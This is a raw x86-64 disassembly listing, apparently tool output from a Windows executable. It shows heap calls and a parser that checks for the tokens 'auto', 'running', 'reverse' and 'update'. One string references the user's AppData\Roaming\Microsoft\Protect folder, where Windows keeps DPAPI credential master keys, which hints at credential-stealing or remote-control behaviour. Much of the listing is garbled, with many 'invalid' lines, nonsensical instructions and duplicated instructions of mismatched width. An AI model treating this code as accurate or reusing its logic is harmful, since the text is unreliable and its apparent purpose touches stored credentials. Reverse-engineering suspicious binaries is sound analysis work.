mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
call fcn.140080100
movzx eax, byte [rsp + 0xa8]
add byte [rax], al
add byte [rdx + rax], bh
add byte [rdi], cl
mov dh, 0x84
and al, 0xa8
add byte [rax], al
add byte [rdx + rax], bh
je 0x14002c078
add byte [rax - 0x75], cl
mov esp, 0x9024
add byte [rbx + rcx*4 - 0x44], cl
mov rdi, qword [rsp + 0x90]
mov r15, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rsp + 0xa0]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
invalid
pushfq
mov ebx, dword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax + rax*8 + 0x1a9840f], al
invalid
invalid
add dword [rax], eax
invalid
test al, al
je 0x14002adbe
invalid
invalid
add dword [rax], eax
invalid
test byte [rcx + 0x48000001], ch
lea edx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
add byte [rax - 0x73], cl
adc eax, 0x90a74
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x90]
mov r8d, 0x4f
call fcn.14000fa90
mov r14, qword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx - 0x48], al
add byte [r8], r8b
add al, ch
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [rsp + 0x60]
mov rdx, rdi
mov r8, rbx
mov r9, r14
mov ecx, esi
call fcn.140086540
cmp qword [rsp + 0x98], 0
and al, 0x98
add byte [rax], al
add byte [rax], al
mov eax, 0x83480005
mov esp, 0x9824
and al, 0x98
add byte [rax], al
and al, 0x98
add byte [rax], al
add byte [rax], al
je 0x14002ac74
mov rcx, qword [0x1400f91f8]
or eax, 0xce58f
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
xchg esp, eax
push rdi
or byte [rax], al
xchg esp, eax
push rdi
or byte [rax], al
test r15, r15
je 0x14002ac8b
mov rcx, qword [0x1400f91f8]
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
jo 0x14002acde
mov dword [rsp + 0x20], 0x42
add byte [rax], al
add byte [rax], al
jo 0x14002acde
add byte [rax], al
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0x108]
mov rdx, rdi
mov edx, edi
mov edx, edi
cli
call fcn.140086540
mov dword [rsp + 0x90], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
adc dword [rsp + 0x98], eax
adc dword [rsp + 0x98], eax
add bh, al
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rdi], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rsp + rsi*4], ah
invalid
mov dword [rsp + 0xa8], 7
mov qword [rsp + 0xac], 0
add byte [rax], al
add byte [rax], al
mov word [rsp + 0xb4], 0
mov ah, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rsp + 0xb0], 1
mov byte [rsp + 0xb0], 1
mov r15, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x118]
lea rbx, [rsp + 0x90]
mov rcx, r15
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov r8, rbx
call fcn.140082100
mov r12, rax
mov r14, rdx
cmp qword [rsp + 0x110], 0
mov esp, 0x11024
add byte [rax], al
je 0x14002ad3a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
leave
in al, 0xc
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
test r12, r12
test esp, esp
je 0x14002ae57
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
or eax, 0xce4a7
or eax, 0xce4a7
test rcx, rcx
jne 0x14002ad6f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bffe
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
or byte [rax], al
test rax, rax
je 0x14002bffe
invalid
add byte [rcx + rcx*4 + 0x30], cl
mov qword [rax], r14
mov qword [rsi], rax
lea rax, [0x1400b0c00]
insd dword [rdi], dx
pop rsi
or byte [rax], al
insd dword [rdi], dx
pop rsi
or byte [rax], al
mov qword [rsi + 8], rax
mov byte [rsi + 0x1b], 2
cmp qword [rsp + 0x68], 0
je 0x14002b0e7
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
in al, 0xc
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002b0e7
test rbx, rbx
je 0x14002ac15
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x14002adec
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002ac15
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14002ade0
cmp r8b, 0xe0
jb 0x14002add0
jne 0x14002ae2e
cmp rcx, rax
je 0x14002ac15
lea rcx, [rdx + 2]
cmp rcx, rax
cmp ecx, eax
cmp ecx, eax
je 0x14002ac15
cli
std
invalid
cmp byte [rdx + 1], 0x9f
ja 0x14002c2c4
add rdx, 3
add edx, 3
mov rcx, rdx
jmp 0x14002ade0
shr ebx, 1
mov dl, 0x48
add edx, 2
invalid
add rdx, 2
add cl, byte [rax + 0x39]
ror dword [rax + 0xf], 0x44
sal dword [rcx], 1
leave
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
add ecx, edx
add ecx, edx
cmp r8b, 0xf0
jb 0x14002ade0
xor edx, edx
cmp rcx, rax
cmp ecx, eax
ror byte [rax + 0x39], cl
ror dword [rdi], 0x95
ret 0x148
cmp ecx, eax
setne dl
add rcx, rdx
jmp 0x14002ade0
mov qword [rsp + 0xf8], rsi
cmp qword [rsp + 0x68], 0
cmp dword [rsp + 0x68], 0
add byte [rax - 0x7d], cl
jl 0x14002ae87
cmp dword [rsp + 0x68], 0
push 0x48127400
mov ecx, dword [0x1400f91f8]
or eax, 0xce38a
je 0x14002ae79
mov rcx, qword [0x1400f91f8]
or eax, 0xce38a
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
push rbp
or byte [rax], al
push rbp
or byte [rax], al
mov qword [rsp + 0xa8], r14
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0xb0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*4], ah
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov qword [rsp + 0x90], 1
mov dword [rsp + 0x90], 1
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x98], xmm0
add byte [rax], al
movups xmmword [rsp + 0x98], xmm0
cwde
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xd0], 0x80
invalid
invalid
je 0x14002aee4
add byte [rax], al
mov byte [rsp + 0xd0], 0x80
lea r14, [rsp + 0x60]
lea esi, [rsp + 0x60]
or byte [rbp + rcx*4 + 0x74], 0x24
lea esi, [rsp + 0x60]
invalid
lea r15, [rsp + 0x108]
lea rbp, [0x1400ef5d0]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
invalid
add bl, ch
xor ecx, dword [rdi]
invalid
jmp 0x14002af0c
add qword [rsp + 0xc0], r8
add dword [rsp + 0xc0], eax
inc qword [rsp + 0xb0]
mov qword [rsp + 0xb8], 0
test byte [rax + rdi*4], ah
and al, 0xb8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0xb8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rcx + rcx*8], ah
add byte [rax], al
mov byte [rsp + 0xc9], 0xa
add byte [rax], al
add byte [rdx], cl
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x108], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
sbb ah, byte [rsi + 0x2e]
nop dword [rax + rax]
mov rax, r12
loopne 0x14002af6c
shr eax, 0x20
jmp 0x14002af30
loopne 0x14002af6c
shr eax, 0x20
cmp eax, 0x23
jne 0x14002b04b
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
mov rcx, r14
mov r8, r15
clc
clc
call fcn.140082610
cmp qword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0
je case.default.0x14002af68
mov r12, qword [rsp + 0x68]
mov eax, r12d
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
invalid
jmp rax
call 0xc044906b
cmp byte [r12 + 0x10], 0x23
jl 0x14002af92
adc byte [rbx], ah
and esi, dword [rsi + rdi*4 - 0x17]
invalid
je 0x14002af30
jmp 0x14002b04b
add byte [rax], al
add byte [rax], al
cmp byte [r12 + 0xf], 0x23
jne 0x14002b04b
invalid
add byte [rax], al
invalid
mov edi, 0x4d000000
mov ebp, dword [rsp - 1]
insb byte [rdi], dx
and al, 0xff
add byte [rbp - 0x75], cl
mov r13, qword [r12 - 1]
insb byte [rdi], dx
and al, 0xff
mov rsi, qword [r12 + 7]
mov esi, dword [rsp + 7]
and al, 7
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14002afbb
cmp qword [rsi + 0x10], 0x11
jb 0x14002afad
jle 0x14002afb6
adc dword [rdx + 4], esi
mov r13, qword [r13 - 8]
mov rcx, qword [0x1400f91f8]
loop 0x14002afbf
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0x13f4c87bc
int3
xor edx, edx
mov r8, r13
call rdi
dec r12
mov rcx, qword [0x1400f91f8]
or eax, 0xce233
mov ecx, dword [0x1400f91f8]
or eax, 0xce233
xor edx, edx
mov r8, r12
call rdi
jmp 0x14002af30
jmp qword [rsi + 0x66]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
jl 0x14002b008
add byte [rax], al
cmp qword [rsp + 0x68], 0
je 0x14002bd29
push 0x3d840f00
or eax, 0xb60f0000
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0xb8]
inc r8
cmp eax, 0xa
invalid
test al, bl
invalid
movzx eax, byte [rsp + 0x108]
mov r8, qword [rsp + 0xb8]
mov eax, dword [rsp + 0xb8]
mov eax, 0x49000000
inc eax
inc r8
cmp eax, 0xa
je 0x14002aee0
fdivr st(6)
invalid
mov qword [rsp + 0xb8], r8
mov byte [rsp + 0xc8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], al
cmp eax, 0x20
clc
and byte [rdi], cl
xchg ebx, edx
rol dword [rax], cl
add byte [rax], al
clc
and byte [rdi], cl
xchg ebx, edx
rol dword [rax], cl
add byte [rax], al
mov ecx, eax
movabs rdx, 0x100002200
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
bt rdx, rcx
jae case.0x140075d15.223
invalid
rol dword [rax], cl
add byte [rax], al
mov ecx, eax
movabs rdx, 0x100002200
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
bt rdx, rcx
jae case.0x140075d15.223
add byte [rax], al
add dh, al
mov byte [rsp + 0xc8], 0
test byte [rax + rcx*8], ah
and al, 0xc8
add byte [rax], al
add byte [rax], al
jmp 0x14002af0c
mov rcx, r12
call fcn.1400adc10
mov rdi, rax
mov rbp, qword [rsp + 0xf8]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
push rsp
push rbx
or byte [rax], al
push rsp
push rbx
or byte [rax], al
cmp qword [rsp + 0x98], 0
je 0x14002b08e
add byte [rdi + rdx + 0x4c], dh
mov eax, dword [rsp + 0x90]
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1400f91f8]
loope 0x14002b091
or al, 0
add byte [rcx], dh
sar bh, cl
adc eax, 0x8537a
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400f92c0]
add eax, 0xce22b
sub esp, edx
or al, 0
mov rcx, qword [0x1400f91f8]
test rcx, rcx
pop rsp
loope 0x14002b0a7
add byte [rax - 0x7b], cl
leave
jne 0x14002b0ba
sbb edi, edi
adc eax, 0x85349
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bffe
test byte [rsi + 0xf], cl
add byte [rax], al
test byte [rsi + 0xf], cl
add byte [rax], al
sldt word [rax]
mov rcx, rax
mov qword [0x1400f91f8], rax
loope 0x14002b0c5
invalid
loope 0x14002b0c5
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
push rbx
or byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub eax, 0x4800000f
mov dword [rax], edi
test rax, rax
je 0x14002bffe
mov qword [rax], rdi
mov qword [rbp], rax
lea rax, fcn.14000b540
mov qword [rbp + 8], rax
mov byte [rbp + 0x1b], 2
add cl, byte [rax - 0x7f]
invalid
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs r15, 0x100002600
mov edi, 0x2600
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x7bf0a408], al
cmp eax, 0x5b
invalid
test dl, al
or al, byte [rax]
cmp eax, 0x5b
pop rbx
je 0x14002bbd0
add byte [rbx - 0x74b78408], al
lodsb al, byte [rsi]
and al, 0xf8
add byte [rax], al
add byte [rdi], cl
test dword [rbp + 0xc], edx
add byte [rax], al
cmp eax, 0x7b
mov rbp, qword [rsp + 0xf8]
jne 0x14002bd74
push rbp
or al, 0
add dh, bh
mov word [rax + rdx*8], fs
and al, 0xd0
dec byte [rsp + 0xd0]
je 0x14002bd51
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
test byte [0x10602b139], ah
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0x8f], 2
xor eax, eax
ror byte [rbp + rcx*4 + 0x74], 0x24
invalid
lea r15, [rsp + 0x108]
mov byte [rsp + 0x5e], 2
mov byte [rsp + 0x5f], 2
and al, 0x5f
invalid
pop qword [rax]
add byte [rax], al
add dh, byte [rcx]
ror byte [rbp + rcx*4 + 0x74], 0x24
invalid
and al, 0x5f
add al, dh
invalid
and al, 0x47
and al, 0x47
mov byte [rsp + 0x47], 2
lea r12, [0x1400ef5f0]
lea esp, [0x1400ef5f0]
and al, 0x47
add cl, byte [rbp + rcx*4 + 0x25]
lea esp, [0x1400ef5f0]
pop qword [rsp + rcx]
xor ecx, ecx
mov qword [rsp + 0x48], rcx
xor rcx, rcx
xor rcx, rcx
mov qword [rsp + 0x100], rcx
test al, al
je 0x14002b29a
add dword [rax], eax
invalid
test byte [rax], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0xc9
add byte [rax], al
add cl, ch
movzx eax, byte [rsp + 0xc9]
jmp 0x14002b276
out dx, eax
add byte [rax], al
invalid
out dx, eax
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x23
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
jne case.0x14002b1d0.2
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
mov rcx, r14
int1
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
int1
int1
mov r8, r15
call fcn.140082610
je 0x14002b1b4
add byte [rax - 0x7d], cl
jl 0x14002b1d8
invalid
invalid
je case.default.0x14002b1d0
je 0x14002b1b4
add byte [rax - 0x7d], cl
jl 0x14002b1d8
invalid
add byte [rdx + rsi*2 + 0x48], dh
mov ebx, dword [rsp + 0x68]
and al, 0x68
mov rbx, qword [rsp + 0x68]
and al, 0x68
mov eax, ebx
and eax, 3
lea rcx, [0x1400ef5e0]
lea ecx, [0x1400ef5e0]
lea ecx, [0x1400ef5e0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
cmp byte [rbx + 0x10], 0x23
je 0x14002b197
jnp case.0x14006b385.190
and esi, dword [rdi + rdi*4 - 0x17]
out 0xa, eax
add byte [rax], al
jmp case.0x14002b1d0.2
cmp byte [rbx + 0xf], 0x23
jne case.0x14002b1d0.2
add byte [rax], al
add byte [rax], al
mov r13, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14002b214
invalid
cmp qword [rsi + 0x10], 0x11
jb 0x14002b206
add al, 0x4d
mov ebp, dword [rbp - 8]
insd dword [rdi], dx
clc
mov r13, qword [r13 - 8]
insd dword [rdi], dx
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rdi
xlatb
xlatb
dec rbx
mov rcx, qword [0x1400f91f8]
or al, 0
or al, 0
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov r8, rbx
call rdi
xor edx, edx
mov r8, rbx
mov eax, ebx
call rdi
jmp 0x14002b197
cmp qword [rsp + 0x68], 0
je 0x14002beab
or al, 0
invalid
or al, 0
add byte [rdi], cl
mov dh, 0x84
test byte [rax + rcx], ah
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0xb8]
inc rcx
sar dword [rdx + rcx], 0x75
invalid
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 1], cl
sar dword [rdx + rcx], 0x75
adc cl, byte [rax + 1]
mov word [rax + rax*8], fs
and al, 0xc0
add qword [rsp + 0xc0], rcx
inc qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
and al, 0xc0
add byte [rax], al
add byte [rax - 1], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
xor ecx, ecx
mov al, 0
add byte [rax], al
xor ecx, ecx
mov qword [rsp + 0xb8], rcx
mov byte [rsp + 0xc8], 1
add byte [rcx], al
mov eax, 0xc6000000
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], al
test byte [rcx + rcx*8], ah
and al, 0xc9
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc8
movzx ecx, al
cmp cl, 0x2c
ja 0x14002b3f9
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x46], cl
add byte [rsi], ah
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movabs rdx, 0x100002600
bt rdx, rcx
jae 0x14002b2a7
adc eax, 0xc82484c6
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0x108], 0
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax], al
jmp 0x14002b197
cmp rcx, 0x2c
jne 0x14002b3f9
add qword [rax], rax
invalid
add qword [rax], rax
add dh, dh
test byte [rax + rax], ah
add byte [rcx], al
add byte [rax], al
invalid
test byte [rsp + 0x100], 1
add byte [rcx], al
add byte [rax], al
add dword [rbp + 0x2b], esi
jne 0x14002b2e6
jmp 0x14002bf17
add qword [rsp + 0xc0], rcx
inc qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xb8], 0
mov word [rsp + 0xc8], 0xa01
enter 0, 0
add dword [rdx], ecx
mov byte [rsp + 0xc8], 0
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test byte [rax + rcx], ah
and al, 8
mov byte [rsp + 0x108], 0
and al, 8
add dword [rax], eax
add byte [rax], al
jmp case.0x14002b475.17
add byte [rax], al
add byte [rax], al
mov rax, rbx
mov eax, ebx
mov eax, ebx
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x23
jne case.0x14002b1d0.2
mov rdx, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
mov r9d, 1
mov rcx, r14
mov ecx, esi
add byte [rcx + rcx*4 - 0xf], cl
mov ecx, esi
int1
mov r8, r15
call fcn.140082610
cmp qword [rsp + 0x60], 0
je case.default.0x14002b342
mov rbx, qword [rsp + 0x68]
and al, 0x68
mov eax, ebx
and eax, 3
loopne 0x14002b33e
fadd dword [rbx + 0x634903e0]
add al, 0x84
loopne 0x14002b33e
movsxd rax, dword [r12 + rax*4]
test byte [rcx + rax - 0x20], cl
add rax, r12
add eax, esp
jmp rax
cmp byte [rbx + 0x10], 0x23
je case.0x14002b475.17
and esi, dword [rsi + rax*8 - 0x17]
jne 0x14002b356
jmp case.0x14002b1d0.2
add byte [rax], al
nop
cmp byte [rbx + 0xf], 0x23
jne case.0x14002b1d0.2
push 9
add byte [rax], al
or dword [rax], eax
add byte [rbx + rcx*4 + 0x6b], cl
dec dword [rax - 0x75]
mov rsi, qword [rbx + 7]
mov r13, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r13
mov ecx, ebp
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
jle case.0x140023efa.214
add byte [rcx + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
je case.0x140027333.60
cmp qword [rsi + 0x10], 0x11
jb 0x14002b379
mov r13, qword [r13 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0x13f4b8b88
invalid
invalid
xor edx, edx
mov r8, r13
call rdi
dec rbx
mov rcx, qword [0x1400f91f8]
retf
xor edx, edx
mov r8, rbx
call rdi
xlatb
jmp case.0x14002b475.17
cmp qword [rsp + 0x68], 0
je 0x14002be4d
invalid
add byte [rdi], cl
mov dh, 0x84
and al, 8
invalid
movzx eax, byte [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
mov rcx, qword [rsp + 0xb8]
add byte [rax], al
add byte [rax - 1], cl
rol dword [rbx - 0x7bf0f508], 0xfb
invalid
inc rcx
cmp eax, 0xa
je case.0x14004ac19.37
invalid
dec dword [rax - 0x77]
mov qword [rsp + 0xb8], rcx
mov byte [rsp + 0xc8], 1
add byte [rcx], al
mov word [rax + rdi*4], fs
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add dword [rax + 0xc92484], ecx
add byte [rax], al
mov byte [rsp + 0xc9], al
and al, 0xc9
add byte [rax], al
add byte [rbx + 0x2f7720f8], al
invalid
cmp eax, 0x20
ja 0x14002b410
invalid
invalid
mov ecx, eax
movabs rdx, 0x100002200
add byte [rdx], ah
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf], cl
movabs dword [0xebfffffeef820fca], eax
retf 0x820f
out dx, eax
invalid
invalid
invalid
invalid
bt rdx, rcx
jb 0x14002b2e6
retf 0x820f
jmp 0x14002b410
invalid
cmp ecx, 0x7d
je 0x14002bdd1
or dword [rax], eax
invalid
or dword [rax], eax
add dh, dh
test byte [rsp + 0x100], 1
test byte [rax + rax], ah
add dword [rax], eax
add byte [rcx], al
jne 0x14002bf49
add byte [rax], al
cmp al, 0x22
jne 0x14002bf04
test esp, ebp
or al, byte [rax]
invalid
mov byte [rsp + 0xc8], 0
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r14
add byte [rax], al
add byte [rax], al
mov rcx, r14
lea rdx, [rsp + 0xa8]
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
invalid
invalid
test byte [rax + rdx*4], ah
nop
lea r8, [rsp + 0x90]
call fcn.140016b50
mov bh, 0xfe
invalid
nop
add byte [rax], al
add al, ch
or al, 0xb7
mov bh, 0xfe
inc dword [rbx + 0x260247c]
cmp dword [rsp + 0x60], 2
mov rbx, qword [rsp + 0x68]
je 0x14002bccf
test byte [rbx + 8], bh
add byte [rax], al
test byte [rbx + 8], bh
jnp case.0x14002632d.205
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x70
and al, 0x70
mov rax, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
and al, 0x70
jo 0x14002b4a2
add rax, 0xfffffffffffffffc
add eax, 0xfffffffc
cmp rax, 5
ja case.default.0x14002b475
clc
add eax, 0x186870f
add byte [rax], al
lea rcx, [0x1400ef600]
lea ecx, [0x1400ef600]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
or dword [rax + 1], 0x81e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0xffffffffffffff81
jmp rax
loopne 0x14002b3f9
cmp dword [rbx], 0x6f747561
cmp esp, dword [rcx + 0x75]
je 0x14002b4ec
jne case.default.0x14002b475
add byte [rax], al
cmp byte [rsp + 0x8f], 2
jne 0x14002c276
in eax, 0xd
add byte [rax], al
add byte [rax], al
add cl, byte [rdi]
test ebp, esp
in eax, 0xd
add byte [rax], al
invalid
invalid
mov ah, 0x24
nop
add byte [rax], al
in eax, 0xd
add byte [rax], al
lea rsi, [rsp + 0x90]
mov rcx, rsi
add byte [rax - 0x77], cl
int1
call fcn.140005840
test rax, rax
jne 0x14002bccc
mov rcx, r14
mov rdx, rsi
bnd call fcn.1400176a0
bnd call fcn.1400176a0
jmp case.0x1400240ea.199
invalid
inc dword [rax + 0x60247c]
cmp byte [rsp + 0x60], 0
jne 0x14002beb9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x8f], al
test byte [rdi + rcx*4], ah
add byte [rax], al
invalid
test byte [rdi + rcx*4], ah
add byte [rax], al
add cl, ch
loopne 0x14002b4d5
pop qword [rax]
add byte [rax], al
jmp 0x14002bbb1
add byte [rax], al
add byte [rbx + 0x7572b903], cl
outsb dx, byte [rsi]
mov eax, dword [rbx]
mov ecx, 0x6e6e7572
jne 0x14002b545
outsb dx, byte [rsi]
xor eax, ecx
mov ecx, dword [rbx + 3]
invalid
add edi, dword [rdx + 0x676e696e]
mov edx, 0x676e696e
xor ecx, edx
xor ecx, edx
ror dword [rcx], 1
ror dword [rdi], 0x84
cmp eax, 0x8b000006
add edi, dword [rcx + 0x65766572]
or ecx, eax
je 0x14002bb29
mov eax, dword [rbx]
mov ecx, 0x65766572
xor eax, ecx
mov ecx, dword [rbx + 3]
mov edx, 0x65737265
xor ecx, edx
or ecx, eax
jne case.default.0x14002b475
cmp byte [rsp + 0x5e], 2
jne 0x14002c320
invalid
add byte [rax], al
invalid
add byte [rax], al
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov ecx, esi
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov ecx, esi
call fcn.140005840
test rax, rax
jne 0x14002bccc
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
movabs eax, dword [0x8948f1894c000007]
mov ecx, esi
invalid
invalid
mov rcx, r14
mov ecx, esi
mov rdx, rsi
mov edx, esi
bnd call fcn.1400176a0
call fcn.1400176a0
cmp byte [rsp + 0x60], 0
jne 0x14002beb9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x5e], al
jmp 0x14002bbb1
add byte [rax], al
invalid
add byte [rax], al
mov eax, dword [rbx]
mov ecx, 0x61647075
xor eax, ecx
movzx ecx, word [rbx + 4]
xor ecx, 0x6574
or ecx, eax
jne case.default.0x14002b475
cmp qword [rsp + 0x48], 0
cmp dword [rsp + 0x48], 0
jne 0x14002c224
lea rsi, [rsp + 0x90]
add byte [rax], al
mov rcx, rsi
int1
call fcn.140005840
test rax, rax
ror byte [rdi], 0x85
xchg ebx, eax
or dword [rax], eax
invalid
ror byte [rdi], 0x85
xchg ebx, eax
or dword [rax], eax
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, rsi
call fcn.140017410
invalid
dec dword [rax - 0x75]
and al, 0x60
and al, 0x60
invalid
and al, 0x60
